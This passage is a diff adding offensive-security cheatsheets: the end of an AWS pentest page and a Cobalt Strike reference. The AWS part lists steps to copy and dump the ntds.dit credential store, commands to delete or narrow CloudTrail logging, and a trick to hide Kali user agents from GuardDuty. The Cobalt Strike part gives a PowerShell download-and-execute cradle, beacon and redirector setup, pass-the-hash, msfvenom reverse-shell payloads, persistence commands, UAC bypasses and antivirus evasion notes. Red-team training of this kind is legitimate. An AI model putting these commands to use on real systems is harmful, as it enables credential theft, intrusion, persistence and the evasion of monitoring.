8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
|
||||||
|
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
|
||||||
|
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
|
||||||
|
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
|
||||||
|
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
|
||||||
|
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
|
||||||
|
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
|
||||||
|
|
||||||
|
## Disable CloudTrail
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
|
||||||
|
```
|
||||||
|
|
||||||
|
Disable monitoring of events from global services
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
|
||||||
|
```
|
||||||
|
|
||||||
|
Disable Cloud Trail on specific regions
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
|
||||||
|
```
|
||||||
|
|
||||||
|
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
|
||||||
|
|
||||||
|
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
|
||||||
|
|
||||||
|
Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
|
||||||
|
|
||||||
|
```python
|
||||||
|
boto3_session = boto3.session.Session()
|
||||||
|
ua = boto3_session._session.user_agent()
|
||||||
|
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
|
||||||
|
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
|
||||||
|
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
|
||||||
|
```
|
||||||
|
|
||||||
|
## DynamoDB
|
||||||
|
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
|
||||||
|
|
||||||
|
* list tables
|
||||||
|
```bash
|
||||||
|
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
|
||||||
|
|
||||||
|
{
|
||||||
|
"TableNames": [
|
||||||
|
"users"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
* enumerate table content
|
||||||
|
```bash
|
||||||
|
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
|
||||||
|
|
||||||
|
{
|
||||||
|
"password": {
|
||||||
|
"S": "Management@#1@#"
|
||||||
|
},
|
||||||
|
"username": {
|
||||||
|
"S": "Mgmt"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Security checks
|
||||||
|
|
||||||
|
https://github.com/DenizParlak/Zeus
|
||||||
|
|
||||||
|
* Identity and Access Management
|
||||||
|
* Avoid the use of the "root" account
|
||||||
|
* Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
|
||||||
|
* Ensure credentials unused for 90 days or greater are disabled
|
||||||
|
* Ensure access keys are rotated every 90 days or less
|
||||||
|
* Ensure IAM password policy requires at least one uppercase letter
|
||||||
|
* Ensure IAM password policy requires at least one lowercase letter
|
||||||
|
* Ensure IAM password policy requires at least one symbol
|
||||||
|
* Ensure IAM password policy requires at least one number
|
||||||
|
* Ensure IAM password policy requires minimum length of 14 or greater
|
||||||
|
* Ensure no root account access key exists
|
||||||
|
* Ensure MFA is enabled for the "root" account
|
||||||
|
* Ensure security questions are registered in the AWS account
|
||||||
|
* Ensure IAM policies are attached only to groups or role
|
||||||
|
* Enable detailed billing
|
||||||
|
* Maintain current contact details
|
||||||
|
* Ensure security contact information is registered
|
||||||
|
* Ensure IAM instance roles are used for AWS resource access from instances
|
||||||
|
* Logging
|
||||||
|
* Ensure CloudTrail is enabled in all regions
|
||||||
|
* Ensure CloudTrail log file validation is enabled
|
||||||
|
* Ensure the S3 bucket CloudTrail logs to is not publicly accessible
|
||||||
|
* Ensure CloudTrail trails are integrated with CloudWatch Logs
|
||||||
|
* Ensure AWS Config is enabled in all regions
|
||||||
|
* Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
|
||||||
|
* Ensure CloudTrail logs are encrypted at rest using KMS CMKs
|
||||||
|
* Ensure rotation for customer created CMKs is enabled
|
||||||
|
* Networking
|
||||||
|
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
|
||||||
|
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
|
||||||
|
* Ensure VPC flow logging is enabled in all VPC
|
||||||
|
* Ensure the default security group of every VPC restricts all traffic
|
||||||
|
* Monitoring
|
||||||
|
* Ensure a log metric filter and alarm exist for unauthorized API calls
|
||||||
|
* Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
|
||||||
|
* Ensure a log metric filter and alarm exist for usage of "root" account
|
||||||
|
* Ensure a log metric filter and alarm exist for IAM policy changes
|
||||||
|
* Ensure a log metric filter and alarm exist for CloudTrail configuration changes
|
||||||
|
* Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
|
||||||
|
* Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
|
||||||
|
* Ensure a log metric filter and alarm exist for S3 bucket policy changes
|
||||||
|
* Ensure a log metric filter and alarm exist for AWS Config configuration changes
|
||||||
|
* Ensure a log metric filter and alarm exist for security group changes
|
||||||
|
* Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
|
||||||
|
* Ensure a log metric filter and alarm exist for changes to network gateways
|
||||||
|
* Ensure a log metric filter and alarm exist for route table changes
|
||||||
|
* Ensure a log metric filter and alarm exist for VPC changes
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [An introduction to penetration testing AWS - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-aws/)
|
||||||
|
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
|
||||||
|
* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||||
|
* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||||
|
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
|
||||||
|
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
|
||||||
|
* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
|
||||||
|
* [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/)
|
||||||
|
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
|
||||||
|
* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
|
||||||
|
* [amazon-guardduty-user-guide PenTest Finding Types - @awsdocs](https://github.com/awsdocs/amazon-guardduty-user-guide/blob/master/doc_source/guardduty_pentest.md)
|
||||||
|
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
|
||||||
|
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
|
||||||
|
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
|
||||||
|
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
|
||||||
|
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
|
||||||
|
* [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||||
1130
Methodology and Resources/Cloud - Azure Pentest.md
Normal file
1130
Methodology and Resources/Cloud - Azure Pentest.md
Normal file
File diff suppressed because it is too large
Load Diff
486
Methodology and Resources/Cobalt Strike - Cheatsheet.md
Normal file
486
Methodology and Resources/Cobalt Strike - Cheatsheet.md
Normal file
@@ -0,0 +1,486 @@
|
|||||||
|
# Cobalt Strike
|
||||||
|
|
||||||
|
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
|
||||||
|
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ sudo apt-get update
|
||||||
|
$ sudo apt-get install openjdk-11-jdk
|
||||||
|
$ sudo apt install proxychains socat
|
||||||
|
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
|
||||||
|
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
|
||||||
|
$ ./cobaltstrike
|
||||||
|
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Infrastructure](#infrastructure)
|
||||||
|
* [Redirectors](#redirectors)
|
||||||
|
* [Domain fronting](#domain-fronting)
|
||||||
|
* [OpSec](#opsec)
|
||||||
|
* [Customer ID](#customer-id)
|
||||||
|
* [Payloads](#payloads)
|
||||||
|
* [DNS Beacon](#dns-beacon)
|
||||||
|
* [SMB Beacon](#smb-beacon)
|
||||||
|
* [Metasploit compatibility](#metasploit-compatibility)
|
||||||
|
* [Custom Payloads](#custom-payloads)
|
||||||
|
* [Malleable C2](#malleable-c2)
|
||||||
|
* [Files](#files)
|
||||||
|
* [Powershell and .NET](#powershell-and-net)
|
||||||
|
* [Powershell commabds](#powershell-commands)
|
||||||
|
* [.NET remote execution](#net-remote-execution)
|
||||||
|
* [Lateral Movement](#lateral-movement)
|
||||||
|
* [VPN & Pivots](#vpn--pivots)
|
||||||
|
* [Kits](#kits)
|
||||||
|
* [Elevate Kit](#elevate-kit)
|
||||||
|
* [Persistence Kit](#persistence-kit)
|
||||||
|
* [Resource Kit](#resource-kit)
|
||||||
|
* [Artifact Kit](#artifact-kit)
|
||||||
|
* [Mimikatz Kit](#mimikatz-kit)
|
||||||
|
* [Sleep Mask Kit](#sleep-mask-kit)
|
||||||
|
* [Thread Stack Spoofer](#thread-stack-spoofer)
|
||||||
|
* [Beacon Object Files](#beacon-object-files)
|
||||||
|
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Infrastructure
|
||||||
|
|
||||||
|
### Redirectors
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
sudo apt install socat
|
||||||
|
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
|
||||||
|
```
|
||||||
|
|
||||||
|
### Domain Fronting
|
||||||
|
|
||||||
|
* New Listener > HTTP Host Header
|
||||||
|
* Choose a domain in "Finance & Healthcare" sector
|
||||||
|
|
||||||
|
## OpSec
|
||||||
|
|
||||||
|
**Don't**
|
||||||
|
* Use default self-signed HTTPS certificate
|
||||||
|
* Use default port (50050)
|
||||||
|
* Use 0.0.0.0 DNS response
|
||||||
|
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
|
||||||
|
|
||||||
|
**Do**
|
||||||
|
* Use a redirector (Apache, CDN, ...)
|
||||||
|
* Firewall to only accept HTTP/S from the redirectors
|
||||||
|
* Firewall 50050 and access via SSH tunnel
|
||||||
|
* Edit default HTTP 404 page and Content type: text/plain
|
||||||
|
* No staging `set hosts_stage` to `false` in Malleable C2
|
||||||
|
* Use Malleable Profile to taylor your attack to specific actors
|
||||||
|
|
||||||
|
### Customer ID
|
||||||
|
|
||||||
|
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
|
||||||
|
|
||||||
|
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
|
||||||
|
* The trial has a Customer ID value of 0.
|
||||||
|
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
|
||||||
|
|
||||||
|
## Payloads
|
||||||
|
|
||||||
|
### DNS Beacon
|
||||||
|
|
||||||
|
* Edit the Zone File for the domain
|
||||||
|
* Create an A record for Cobalt Strike system
|
||||||
|
* Create an NS record that points to FQDN of your Cobalt Strike system
|
||||||
|
|
||||||
|
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
|
||||||
|
|
||||||
|
* nslookup jibberish.beacon polling.campaigns.domain.com
|
||||||
|
* nslookup jibberish.beacon campaigns.domain.com
|
||||||
|
|
||||||
|
Example of DNS on Digital Ocean:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
NS example.com directs to 10.10.10.10. 86400
|
||||||
|
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
|
||||||
|
A campaigns.example.com directs to 10.10.10.10 3600
|
||||||
|
```
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
systemctl disable systemd-resolved
|
||||||
|
systemctl stop systemd-resolved
|
||||||
|
rm /etc/resolv.conf
|
||||||
|
echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
||||||
|
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
1. **host**: campaigns.domain.com
|
||||||
|
2. **beacon**: polling.campaigns.domain.com
|
||||||
|
3. Interact with a beacon, and `sleep 0`
|
||||||
|
|
||||||
|
|
||||||
|
### SMB Beacon
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
link [host] [pipename]
|
||||||
|
connect [host] [port]
|
||||||
|
unlink [host] [PID]
|
||||||
|
jump [exec] [host] [pipe]
|
||||||
|
```
|
||||||
|
|
||||||
|
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
|
||||||
|
|
||||||
|
| Error Code | Meaning | Description |
|
||||||
|
|------------|----------------------|----------------------------------------------------|
|
||||||
|
| 2 | File Not Found | There is no beacon for you to link to |
|
||||||
|
| 5 | Access is denied | Invalid credentials or you don't have permission |
|
||||||
|
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
|
||||||
|
|
||||||
|
|
||||||
|
### SSH Beacon
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# deploy a beacon
|
||||||
|
beacon> help ssh
|
||||||
|
Use: ssh [target:port] [user] [pass]
|
||||||
|
Spawn an SSH client and attempt to login to the specified target
|
||||||
|
|
||||||
|
beacon> help ssh-key
|
||||||
|
Use: ssh [target:port] [user] [/path/to/key.pem]
|
||||||
|
Spawn an SSH client and attempt to login to the specified target
|
||||||
|
|
||||||
|
# beacon's commands
|
||||||
|
upload Upload a file
|
||||||
|
download Download a file
|
||||||
|
socks Start SOCKS4a server to relay traffic
|
||||||
|
sudo Run a command via sudo
|
||||||
|
rportfwd Setup a reverse port forward
|
||||||
|
shell Execute a command via the shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Metasploit compatibility
|
||||||
|
|
||||||
|
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
|
||||||
|
* Set LHOST and LPORT to the beacon
|
||||||
|
* Set DisablePayloadHandler to True
|
||||||
|
* Set PrependMigrate to True
|
||||||
|
* exploit -j
|
||||||
|
|
||||||
|
### Custom Payloads
|
||||||
|
|
||||||
|
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
* Attacks > Packages > Payload Generator
|
||||||
|
* Attacks > Packages > Scripted Web Delivery (S)
|
||||||
|
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
|
||||||
|
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
|
||||||
|
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
|
||||||
|
```
|
||||||
|
|
||||||
|
## Malleable C2
|
||||||
|
|
||||||
|
List of Malleable Profiles hosted on Github
|
||||||
|
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
|
||||||
|
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
|
||||||
|
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
|
||||||
|
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
|
||||||
|
|
||||||
|
Example of syntax
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
set useragent "SOME AGENT"; # GOOD
|
||||||
|
set useragent 'SOME AGENT'; # BAD
|
||||||
|
prepend "This is an example;";
|
||||||
|
|
||||||
|
# Escape Double quotes
|
||||||
|
append "here is \"some\" stuff";
|
||||||
|
# Escape Backslashes
|
||||||
|
append "more \\ stuff";
|
||||||
|
# Some special characters do not need escaping
|
||||||
|
prepend "!@#$%^&*()";
|
||||||
|
```
|
||||||
|
|
||||||
|
Check a profile with `./c2lint`.
|
||||||
|
* A result of 0 is returned if c2lint completes with no errors
|
||||||
|
* A result of 1 is returned if c2lint completes with only warnings
|
||||||
|
* A result of 2 is returned if c2lint completes with only errors
|
||||||
|
* A result of 3 is returned if c2lint completes with both errors and warning
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# List the file on the specified directory
|
||||||
|
beacon > ls <C:\Path>
|
||||||
|
|
||||||
|
# Change into the specified working directory
|
||||||
|
beacon > cd [directory]
|
||||||
|
|
||||||
|
# Delete a file\folder
|
||||||
|
beacon > rm [file\folder]
|
||||||
|
|
||||||
|
# File copy
|
||||||
|
beacon > cp [src] [dest]
|
||||||
|
|
||||||
|
# Download a file from the path on the Beacon host
|
||||||
|
beacon > download [C:\filePath]
|
||||||
|
|
||||||
|
# Lists downloads in progress
|
||||||
|
beacon > downloads
|
||||||
|
|
||||||
|
# Cancel a download currently in progress
|
||||||
|
beacon > cancel [*file*]
|
||||||
|
|
||||||
|
# Upload a file from the attacker to the current Beacon host
|
||||||
|
beacon > upload [/path/to/file]
|
||||||
|
```
|
||||||
|
|
||||||
|
## Powershell and .NET
|
||||||
|
|
||||||
|
### Powershell commands
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
|
||||||
|
beacon > powershell-import [/path/to/script.ps1]
|
||||||
|
|
||||||
|
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
|
||||||
|
beacon > powershell [commandlet][arguments]
|
||||||
|
|
||||||
|
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
|
||||||
|
beacon > powerpick [commandlet] [argument]
|
||||||
|
|
||||||
|
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
|
||||||
|
beacon > psinject [pid][arch] [commandlet] [arguments]
|
||||||
|
```
|
||||||
|
|
||||||
|
### .NET remote execution
|
||||||
|
|
||||||
|
Run a local .NET executable as a Beacon post-exploitation job.
|
||||||
|
|
||||||
|
Require:
|
||||||
|
* Binaries compiled with the "Any CPU" configuration.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
beacon > execute-assembly [/path/to/script.exe] [arguments]
|
||||||
|
beacon > execute-assembly /home/audit/Rubeus.exe
|
||||||
|
[*] Tasked beacon to run .NET program: Rubeus.exe
|
||||||
|
[+] host called home, sent: 318507 bytes
|
||||||
|
[+] received output:
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.4.2
|
||||||
|
```
|
||||||
|
|
||||||
|
## Lateral Movement
|
||||||
|
|
||||||
|
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
|
||||||
|
|
||||||
|
- **portscan:** Performs a portscan on a spesific target.
|
||||||
|
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
|
||||||
|
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
|
||||||
|
:exclamation: This module needs Administrator privileges.
|
||||||
|
- **steal_token:** Steal a token from a specified process.
|
||||||
|
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
|
||||||
|
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
|
||||||
|
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
|
||||||
|
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
|
||||||
|
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
|
||||||
|
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
|
||||||
|
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
|
||||||
|
|
||||||
|
:warning: All the commands launch powershell.exe
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Beacon Remote Exploits
|
||||||
|
======================
|
||||||
|
jump [module] [target] [listener]
|
||||||
|
|
||||||
|
psexec x86 Use a service to run a Service EXE artifact
|
||||||
|
psexec64 x64 Use a service to run a Service EXE artifact
|
||||||
|
psexec_psh x86 Use a service to run a PowerShell one-liner
|
||||||
|
winrm x86 Run a PowerShell script via WinRM
|
||||||
|
winrm64 x64 Run a PowerShell script via WinRM
|
||||||
|
|
||||||
|
Beacon Remote Execute Methods
|
||||||
|
=============================
|
||||||
|
remote-exec [module] [target] [command]
|
||||||
|
|
||||||
|
Methods Description
|
||||||
|
------- -----------
|
||||||
|
psexec Remote execute via Service Control Manager
|
||||||
|
winrm Remote execute via WinRM (PowerShell)
|
||||||
|
wmi Remote execute via WMI (PowerShell)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Opsec safe Pass-the-Hash:
|
||||||
|
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
|
||||||
|
2. `steal_token PID`
|
||||||
|
|
||||||
|
### Assume Control of Artifact
|
||||||
|
|
||||||
|
* Use `link` to connect to SMB Beacon
|
||||||
|
* Use `connect` to connect to TCP Beacon
|
||||||
|
|
||||||
|
|
||||||
|
## VPN & Pivots
|
||||||
|
|
||||||
|
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
|
||||||
|
|
||||||
|
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
|
||||||
|
beacon > socks [PORT]
|
||||||
|
|
||||||
|
# Proxy browser traffic through a specified Internet Explorer process.
|
||||||
|
beacon > browserpivot [pid] [x86|x64]
|
||||||
|
|
||||||
|
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
|
||||||
|
beacon > rportfwd [bind port] [forward host] [forward port]
|
||||||
|
|
||||||
|
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
|
||||||
|
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
|
||||||
|
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
|
||||||
|
|
||||||
|
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
|
||||||
|
# then you can handle the connect back on your MSF multi handler
|
||||||
|
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
## Kits
|
||||||
|
|
||||||
|
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
|
||||||
|
|
||||||
|
### Elevate Kit
|
||||||
|
|
||||||
|
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
beacon> runasadmin
|
||||||
|
|
||||||
|
Beacon Command Elevators
|
||||||
|
========================
|
||||||
|
|
||||||
|
Exploit Description
|
||||||
|
------- -----------
|
||||||
|
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
|
||||||
|
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
|
||||||
|
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
|
||||||
|
svc-exe Get SYSTEM via an executable run as a service
|
||||||
|
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
|
||||||
|
uac-token-duplication Bypass UAC with Token Duplication
|
||||||
|
```
|
||||||
|
|
||||||
|
### Persistence Kit
|
||||||
|
|
||||||
|
* https://github.com/0xthirteen/MoveKit
|
||||||
|
* https://github.com/fireeye/SharPersist
|
||||||
|
```powershell
|
||||||
|
# List persistences
|
||||||
|
SharPersist -t schtaskbackdoor -m list
|
||||||
|
SharPersist -t startupfolder -m list
|
||||||
|
SharPersist -t schtask -m list
|
||||||
|
|
||||||
|
# Add a persistence
|
||||||
|
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||||
|
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
|
||||||
|
|
||||||
|
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||||||
|
SharPersist -t service -n "Some Service" -m remove
|
||||||
|
|
||||||
|
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||||||
|
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||||
|
SharPersist -t schtask -n "Some Task" -m remove
|
||||||
|
```
|
||||||
|
|
||||||
|
### Resource Kit
|
||||||
|
|
||||||
|
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
|
||||||
|
|
||||||
|
### Artifact Kit
|
||||||
|
|
||||||
|
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
|
||||||
|
|
||||||
|
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
|
||||||
|
|
||||||
|
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
|
||||||
|
- Install the dependencies : `sudo apt-get install mingw-w64`
|
||||||
|
- Edit the Artifact code
|
||||||
|
* Change pipename strings
|
||||||
|
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
|
||||||
|
* Change Import
|
||||||
|
- Build the Artifact
|
||||||
|
- Cobalt Strike -> Script Manager > Load .cna
|
||||||
|
|
||||||
|
### Mimikatz Kit
|
||||||
|
|
||||||
|
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
|
||||||
|
* Load the mimikatz.cna aggressor script
|
||||||
|
* Use mimikatz functions as normal
|
||||||
|
|
||||||
|
### Sleep Mask Kit
|
||||||
|
|
||||||
|
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
|
||||||
|
|
||||||
|
